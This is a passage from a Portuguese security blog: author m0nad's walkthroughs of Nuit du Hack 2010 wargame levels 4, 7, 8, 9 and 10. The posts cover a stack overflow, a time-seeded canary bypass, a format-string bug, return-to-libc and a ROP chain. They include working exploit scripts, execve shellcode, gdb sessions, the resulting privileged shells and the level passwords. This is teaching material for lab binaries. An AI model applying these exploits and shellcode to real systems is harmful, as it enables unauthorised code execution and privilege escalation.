 - 0x08052341 => pop %edx | pop %ecx | pop %ebx | ret
 - 0x08052318 => pop %edx | ret
 - 0x08048208 => pop %ebp | ret
 - 0x080c6001 => .data Addr
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$

Percebemos que ele usa a área de data para colocar a string /bin//sh.

Primeiro usa os gadgets de pop %edx | ret, para colocar o endereço de data em edx.


p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6001) # @ .data

Usa o pop %eax | ret para pegar um pedaço da string


p += pack("<I", 0x080a1769) # pop %eax | ret
p += "/bin"

E o mov %eax,(%edx) | ret para mover para a posição de data,


p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret

Assim colocamos a string /bin//sh num lugar com permissão de escrita, incluindo o null byte usando o gadget xor %eax, %eax.

p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret

No final, ele usa o xor %eax,%eax | ret para zerar o %eax, e depois inc %eax | ret, para colocar o valor da syscall execve em eax e logo depois chama o int 0x80.


p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x08048260) # int $0x80

Bem, mas se rodar este exploit, ele vai dar um segfault, isso é por causa da parte do meio.


p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8

Ou seja, o que deveria ser é o ebx estar com o endereço da string /bin//sh, que esta em data, no endereço 0x080c6001, e ecx e edx, apontando pro null byte, que esta em data + 8, mas o ROPgadget, deixou o ebx apontando para 0x42424242.


p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x42424242) # padding

Modificando o exploit aqui, ficou.


level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ cat exploit.py
#!/usr/bin/python2
# Test RopGadget payload in ndh_rop binary
# ndh_rop is a binary on wargame-ndh-2010 (level 10)
#
# poc: ./ndh_rop "$(python2 ./exploit.py)"

from struct import pack

p = "a" * 12
# Generated by RopGadget v3.0
# execve /bin/sh generated by RopGadget v3.3
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x080a1769) # pop %eax | ret
p += "/bin"
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6005) # @ .data + 4
p += pack("<I", 0x080a1769) # pop %eax | ret
p += "//sh"
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x08048260) # int $0x80
print p
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$

Executando…


level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ /home/level10/level10 "$(python ./exploit.py)"
ROP me if you can :]
-> aaaaaaaaaaaa`

/bin�`

//sh�# `
 � �A# `
 `
 `
 � ^�^�^�^�^�^�^�^�^�^�^�`�
$ id
uid=1010(level10) gid=1010(level10) euid=1000(l33t) groups=1000(l33t),1010(level10)
$ whoami
l33t
$ cat /home/l33t/passwd
4JS!sf.
$

l33t! 😀

Logando no l33t, não temos desafio, apenas o código do level10


l33t@wargame2k10:~$ cat rop.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level10 level10.c -static -fno-stack-protector -mpreferred-stack-boundary=2
// paxctl -c -Spermx level10

void rop()
{
 __asm("ret");

__asm("pop %ebx");
 __asm("ret");

__asm("nop");
 __asm("movl %esi, %edx");
 __asm("pop %esi");
 __asm("inc %esi");
 __asm("ret");

__asm("xor %eax, %eax");
 __asm("inc %eax");
 __asm("ret");

__asm("int $0x80");
}

void vuln(char *buff)
{
 char tmp[8] = {'\0'};

strcpy(tmp, buff);
 printf("-> %s\n", tmp);
}

int main(int argc, char *argv[])
{
 if(argc != 2) {
 printf("%s <arg>\n", argv[0]);
 exit(0);
 }
 printf("ROP me if you can :]\n");

vuln(argv[1]);
 return 0;
}
l33t@wargame2k10:~$

É isso ai wargame zerado 😀

Written by m0nad

janeiro 20, 2012 at 5:44 pm

Publicado em Assembly, C, Segurança, Wargames

Nuit du Hack Level9 – Return to LibC

leave a comment »

Level9 do nuit du hack, lendo o source..


$ cat level9.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level9 level9.c -fno-stack-protector -mpreferred-stack-boundary=2
// paxctl -c -Spermx level9

void sayHello(char *tmp)
{
 char login[50];

strcpy(login, tmp);
 printf("Hi %s !\n", login);
}

int main(int argc, char *argv[])
{
 if(argc < 2) {
 printf("Empty login! \n");
 exit(-1);
 }
 sayHello(argv[1]);

exit(0);
}

Vemos que não foi compilado com -z execstack, e temos a proteção do pax, isso significa que temos que fazer um return to libc 🙂

Vamos ver dentro do gdb.


(gdb) r $(perl -e 'print "\xee" x 54 . "\xdd\xcc\xbb\xaa"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level9/level9 $(perl -e 'print "\xee" x 54 . "\xdd\xcc\xbb\xaa"')
Hi �������������������������������������������������������̻� !

Program received signal SIGSEGV, Segmentation fault.
0xaabbccdd in ?? ()
(gdb)

Controlamos facilmente o eip, vamos colocar um /bin/sh numa variável de ambiente, e pegar seu endereço.


$ export SC=" /bin/sh"
$ /tmp/getenv SC
0xbfffffae
$

Legal, vamos pegar o endereço da função system.


(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecf180 <system>
(gdb)

Certo, precisamos então colocar

[54 bytes ĺixo] [&system] [4 bytes lixo] [&”/bin/sh”]


(gdb) r $(perl -e 'print "\xee" x 54 . "\x80\xf1\xec\xb7" . "\xdd\xcc\xbb\xaa" . "\xae\xff\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level9/level9 $(perl -e 'print "\xee" x 54 . "\x80\xf1\xec\xb7" . "\xdd\xcc\xbb\xaa" . "\xae\xff\xff\xbf"')
Hi �����������������������������������������������������������̻����� !
$

yahuu uma shell 😀

Fora do gdb…


$ ./level9 $(perl -e 'print "\xee" x 54 . "\x80\xf1\xec\xb7" . "\xdd\xcc\xbb\xaa" . "\xae\xff\xff\xbf"')
 Hi �����������������������������������������������������������̻����� !
 $ id
 uid=1009(level9) gid=1009(level9) euid=1010(level10) groupes=1010(level10),1009(level9)
 $ cat /home/level10/passwd
 z8D4ds
 $

PWNED! 🙂

Written by m0nad

janeiro 20, 2012 at 5:16 pm

Publicado em Assembly, C, Segurança, Wargames

Nuit du Hack Level8 – Format String Bug

with one comment

Mais um level do nuit du hack 🙂

Vamos ao source


#include <stdio.h>
#include <stdlib.h>

// gcc -o level8 level8.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int main(int argc, char *argv[])
{
 if(argc < 2) {
 printf("Empty login! \n");
 exit(-1);
 }

printf(argv[1]);
 printf("\nNice to see you\n");

exit(0);
}

Temos um clássico format string bug, vamos testar.


level8@wargame2k10:~$ ./level8 "0x%x"
0xbffff868
Nice to see you
level8@wargame2k10:~$

Podemos ver que demos um pop em um valor da stack, vamos tentar ler uma área arbitraria da memória.

Com um for e grep, achamos a shell como exemplo


level8@wargame2k10:~$ for i in `seq 1 200`;do ./level8 "%$i\$s" |grep SHELL && echo $i; done
SHELL=/bin/sh
47
level8@wargame2k10:~$

E depois usamos o offset 47 para ler essa área da memória.


level8@wargame2k10:~$ ./level8 "%47\$s"
SHELL=/bin/sh
Nice to see you
level8@wargame2k10:~$

Podemos escrever escrever em areas de memoria arbitrariamente, usando %n, para isso basta termos o offset da onde nosso endereço esta na stack, para isso bastar achar o offset de onde nosso endereço vai estar, e o %n escrevera a quantidade de bytes digitados até então, lembrando que podemos usar %u para colocar mais bytes.


level8@wargame2k10:~$ for i in `seq 1 200`;do ./level8 "AAAAB[0x%$i\$x]" |grep 4141 && echo $i; done
AAAAB[0x41414141]
115

level8@wargame2k10:~$ ./level8 "AAAAB[0x%115\$x]"
AAAAB[0x41414141]
Nice to see you
level8@wargame2k10:~$ ./level8 "AAAAB[0x%115\$n]"
Erreur de segmentation
level8@wargame2k10:~$

O motivo da falha de segmentação foi por que tentamos escrever em 0x41414141, que não é um endereço valido, então podemos sobrescreve um endereço de retorno na pilha, por exemplo, ou a GOT no endereço de exit.ou demos o .dtor, vamos no endereço de retorno.

Dentro do gdb, disas main.

(gdb) disas main
Dump of assembler code for function main:
0x08048424 <main+0>: push %ebp
0x08048425 <main+1>: mov %esp,%ebp
0x08048427 <main+3>: sub $0x4,%esp
0x0804842a <main+6>: cmpl $0x1,0x8(%ebp)
0x0804842e <main+10>: jg 0x8048448 <main+36>
0x08048430 <main+12>: movl $0x8048530,(%esp)
0x08048437 <main+19>: call 0x8048350 <puts@plt>
0x0804843c <main+24>: movl $0xffffffff,(%esp)
0x08048443 <main+31>: call 0x8048360 <exit@plt>
0x08048448 <main+36>: mov 0xc(%ebp),%eax
0x0804844b <main+39>: add $0x4,%eax
0x0804844e <main+42>: mov (%eax),%eax
0x08048450 <main+44>: mov %eax,(%esp)
0x08048453 <main+47>: call 0x8048340 <printf@plt>
0x08048458 <main+52>: movl $0x804853e,(%esp)
0x0804845f <main+59>: call 0x8048350 <puts@plt>
0x08048464 <main+64>: movl $0x0,(%esp)
0x0804846b <main+71>: call 0x8048360 <exit@plt>
End of assembler dump.
(gdb)

Colodamos um Breakpoint na printf da plt.

(gdb) b *0x8048340
Breakpoint 1 at 0x8048340
(gdb)

Rodamos e vemos o topo da pilha, que estará o endereço de retorno salvo.

(gdb) r a
Starting program: /home/level8/level8 a

Breakpoint 1, 0x08048340 in printf@plt ()

(gdb) x/x $esp
0xbffffc60: 0x08048458
(gdb)

O que precisamos fazer é sobrescrever o endereço 0xbffffcd0 com o endereço do nosso shellcode.

Colocamos nosso shellcode numa variável de ambiente.


$ export SC=$(perl -e 'print "\x90" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"')
level8@wargame2k10:~$ /tmp/getenv SC
0xbfffff3e
level8@wargame2k10:~$

Vamos escrever byte a byte, usando %n,

isto é nos endereços: bffffc60, bffffc61, bffffc62, bffffc63,

por causa da quantidade de bytes o offset mudou pra 118.


(gdb) r $(perl -e 'print "\x60\xfc\xff\xbf" . "\x61\xfc\xff\xbf" . "\x62\xfc\xff\xbf" . "\x63\xfc\xff\xbf" . "%0175u%117\$n" . "%0064u%118\$n" . "%0256u%119\$n" . "%0192u%120\$n"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level8/level8 $(perl -e 'print "\x60\xfc\xff\xbf" . "\x61\xfc\xff\xbf" . "\x62\xfc\xff\xbf" . "\x63\xfc\xff\xbf" . "%0175u%117\$n" . "%0064u%118\$n" . "%0256u%119\$n" . "%0192u%120\$n"')

Breakpoint 1, 0x08048340 in printf@plt ()
(gdb) c
Continuing.
Executing new program: /bin/dash
$

Executamos a shell 😀

Fora do gdb,..

$ id
uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1009(level9),1008(level8)
$ cat /home/level9/passwd
g974d.

Até a próxima 🙂

Written by m0nad

janeiro 18, 2012 at 5:05 am

Publicado em Assembly, C, Segurança, Wargames

Nuit du Hack Level7 – Pseudo-random canary

with one comment

Ae pessoal, mais um level do nuit du hack.

Como de costume vou começar olhando o source.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level7 level7.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

unsigned int secret;

int vuln(char *arg) {
 unsigned int cookie = secret;
 char tmp[64] = {'\0'};

 strcpy(tmp, arg);
 if(cookie!=secret) {
  printf("It's not my cookie :(\n");
  exit(0);
 }

 return 1337;
}

int main(int argc, char *argv[])
{
 if(argc != 2) {
  printf("%s <P0wn Me!> \n", argv[0]);
  exit(0);
 }

 srand(time(NULL));
 secret = rand();

 printf("GooD Boy 🙂 %08X\n", secret);

 vuln(argv[1]);
 return 0;
}

Temos um cookie(canary) na função vuln, quando fazemos o overflow no buffer tmp, alteramos a variável cookie, e essa variável verificada antes do return e caso esteja diferente do valor original o programa é finalizado, impedindo a exploração pois a instrução ret não ira dar o jmp para o nosso endereço.

A ideia aqui é tentar gerar o mesmo cookie e coloca-lo exatamente na posição aonde o mesmo está na stack, vemos que ele gera o cookie usando a funcao rand e usando o seed como o time, só precisamos gerar o mesmo seed, ou seja no executar no mesmo segundo, vamos tentar gerar o mesmo cookie.


$ cat > /tmp/poc1_lvl7.c
#include <unistd.h>
#include <string.h>
#include <stdio.h>

#define PATH "/home/level7/level7"
#define NAME "level7"
#define BUF 64

int
main()
{
 char arg[BUF];
 char * args[] = { NAME, arg, NULL } ;
 int cookie;

 memset(arg, 'A', BUF);

 srand(time(NULL));
 cookie = rand();

 printf("cookie %x\n", cookie);

 execve(PATH, args, NULL);

 return 0;
}
^C
$ gcc -o /tmp/poc1_lvl7 /tmp/poc1_lvl7.c
$ /tmp/poc1_lvl7
cookie 6bedffd0
GooD Boy 🙂 6BEDFFD0
$

Funciona! podemos gerar o mesmo cookie, agora basta basta colocar o cookie na posição logo acima do buffer tmp, que é 64 bytes, e depois o eip para o shellcode, que com um pouco de debug achei a 80 bytes apos o começo do buffer tmp, vamos usar execle para controlarmos o ambiente, colocando o shellcode no enviroment, e calculando sua posição a partir do 0xbffffffa. Segue abaixo o exploit.


$ cat > /tmp/xpl.c
#include <unistd.h>
#include <string.h>
#include <stdio.h>

#define PATH "/home/level7/level7"
#define NAME "level7"
#define BUF 85
#define EIP_OFFSET 80
#define COOKIE_OFFSET 64

int
main()
{
 char arg[BUF];
 char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80";
 void * env[] = { sc, NULL } ;
 int cookie, addr = 0xbffffffa - strlen(PATH) - strlen(sc);

 memset(arg, 'A', BUF);

 srand(time(NULL));
 cookie = rand();

 *(int *)(arg + COOKIE_OFFSET) = cookie;
 *(int *)(arg + EIP_OFFSET) = addr;

 printf("arg %s\n", arg);
 printf("cookie %x\n", *(int *)(arg + COOKIE_OFFSET));
 printf("eip %x\n", addr);

 execle(PATH, NAME, arg, NULL, env);

 return 0;
}
^C
$ gcc -o /tmp/xpl /tmp/xpl.c
$ /tmp/xpl
arg AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAԀ�*AAAAAAAAAAAA����AԀ�*����P�
cookie 2a8480d4
eip bfffffce
GooD Boy 🙂 2A8480D4
$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1008(level8),1007(level7)
$ cat /home/level8/passwd
sgfc.g
$

Yahuu! até a próxima 😀

Written by m0nad

dezembro 29, 2011 at 12:52 am

Publicado em Assembly, C, Segurança, Wargames

Nuit du Hack Level4 – Stack-based Buffer Overflow

leave a comment »

Mais um level do nuit du hack, vamos ler o source.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level4 level4.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int checkIdent(char *login, char *pwd)
{
 char buffer[8] = {'\0'};
 int i;

 strcpy(buffer, login);
 buffer[strlen("guest1")] = '\0';

 if(strcmp(buffer, "guest1"))
  return 0;

 strcpy(buffer, pwd);
 buffer[strlen("guest1")] = '\0';

 if(strcmp(buffer, "guest1"))
  return 0;

 return 1;
}

int main(int argc, char *argv[])
{
 if(argc != 3) {
  printf("%s <login> <pass>\n", argv[0]);
  exit(-1);
 }

 if(checkIdent(argv[1], argv[2])) {
  printf("Logged :)\n");
  exit(1);
 }

 printf("Oh noes\n");
 return 0;
}

Vemos 2 strcpy, parece que são overflows simples, vamos abrir no gdb e tentar um segfault.


(gdb) r $(perl -e 'print "\xaa" x 20') $(perl -e 'print "\xbb" x 20')
Starting program: /home/level4/level4 $(perl -e 'print "\xaa" x 20') $(perl -e 'print "\xbb" x 20')

Program received signal SIGSEGV, Segmentation fault.
0xaaaaaaaa in ?? ()

(gdb) r $(perl -e 'print "\xaa" x 16 . "\xcc" x 4') $(perl -e 'print "\xbb" x 20')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level4/level4 $(perl -e 'print "\xaa" x 16 . "\xcc" x 4') $(perl -e 'print "\xbb" x 20')

Program received signal SIGSEGV, Segmentation fault.
0xcccccccc in ?? ()
(gdb)

Legal, controlamos o eip, vamos colocar o shellcode e achar o endereço para pular.


(gdb) r $(perl -e 'print "\xaa" x 16 . "\xcc" x 4 . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20')The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level4/level4 $(perl -e 'print "\xaa" x 16 . "\xcc" x 4 . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20')

Program received signal SIGSEGV, Segmentation fault.
0xcccccccc in ?? ()
(gdb) x/100x $esp
0xbffff4c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4f0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff500: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff510: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff520: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff530: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff540: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff550: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff560: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff570: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff580: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff590: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5f0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff600: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff610: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff620: 0x90909090 0x90909090 0x90909090 0x90909090
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb)

Podemos ver os nops, vamos colocar o eip para bffff4f0 e ver se temos sucesso.

(gdb) r $(perl -e 'print "\xaa" x 16 . "\xf0\xf4\xff\xbf" . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level4/level4 $(perl -e 'print "\xaa" x 16 . "\xf0\xf4\xff\xbf" . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20')
Executing new program: /bin/dash
$

Yahuu, uma shell! Vamos executar fora do gdb para elevarmos os privilegios.


$ /home/level4/level4 $(perl -e 'print "\xaa" x 16 . "\xf0\xf4\xff\xbf" . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20')
$ id
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1005(level5),1004(level4)
$ cat /home/level5/passwd
fdk45!
$

Problem solved 🙂

Written by m0nad

dezembro 27, 2011 at 2:42 am

Publicado em Assembly, C, Segurança, Wargames